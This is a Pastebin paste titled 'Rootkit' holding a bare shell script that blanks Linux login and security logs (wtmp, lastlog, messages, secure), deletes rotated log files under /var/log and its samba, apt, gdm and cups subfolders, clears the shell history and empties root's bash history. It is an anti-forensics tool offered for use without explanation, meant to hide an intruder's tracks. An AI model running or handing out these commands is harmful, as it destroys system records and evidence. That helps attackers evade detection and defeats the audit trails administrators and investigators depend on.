Advertisement
gnome_selpa

Rootkit

Mar 12th, 2013
417
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. echo >/var/log/wtmp
  2.  
  3. echo >/var/log/lastlog
  4.  
  5. echo >/var/log/messages
  6.  
  7. echo >/var/log/secure
  8.  
  9. echo >/var/log/maillog
  10.  
  11. echo >/var/log/xferlog
  12.  
  13.  
  14. rm -rf /var/log/*.old &> /dev/null
  15.  
  16. rm -rf /var/log/*.0 &> /dev/null
  17.  
  18. rm -rf /var/log/*.1 &> /dev/null
  19.  
  20. rm -rf /var/log/*.2 &> /dev/null
  21.  
  22. rm -rf /var/log/*.3 &> /dev/null
  23.  
  24. rm -rf /var/log/*.gz &> /dev/null
  25.  
  26.  
  27. rm -rf /var/log/samba/*.old &> /dev/null
  28.  
  29. rm -rf /var/log/samba/*.0 &> /dev/null
  30.  
  31. rm -rf /var/log/samba/*.1 &> /dev/null
  32.  
  33. rm -rf /var/log/samba/*.2 &> /dev/null
  34.  
  35. rm -rf /var/log/samba/*.3 &> /dev/null
  36.  
  37. rm -rf /var/log/samba/*.gz &> /dev/null
  38.  
  39.  
  40. rm -rf /var/log/apt/*.old &> /dev/null
  41.  
  42. rm -rf /var/log/apt/*.0 &> /dev/null
  43.  
  44. rm -rf /var/log/apt/*.1 &> /dev/null
  45.  
  46. rm -rf /var/log/apt/*.2 &> /dev/null
  47.  
  48. rm -rf /var/log/apt/*.3 &> /dev/null
  49.  
  50. rm -rf /var/log/apt/*.gz &> /dev/null
  51.  
  52.  
  53. rm -rf /var/log/gdm/*.old &> /dev/null
  54.  
  55. rm -rf /var/log/gdm/*.0 &> /dev/null
  56.  
  57. rm -rf /var/log/gdm/*.1 &> /dev/null
  58.  
  59. rm -rf /var/log/gdm/*.2 &> /dev/null
  60.  
  61. rm -rf /var/log/gdm/*.3 &> /dev/null
  62.  
  63. rm -rf /var/log/gdm/*.gz &> /dev/null
  64.  
  65.  
  66. rm -rf /var/log/cups/*.old &> /dev/null
  67.  
  68. rm -rf /var/log/cups/*.0 &> /dev/null
  69.  
  70. rm -rf /var/log/cups/*.1 &> /dev/null
  71.  
  72. rm -rf /var/log/cups/*.2 &> /dev/null
  73.  
  74. rm -rf /var/log/cups/*.3 &> /dev/null
  75.  
  76. rm -rf /var/log/cups/*.gz &> /dev/null
  77.  
  78. history -c
  79.  
  80. echo >/root/.bash_history
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement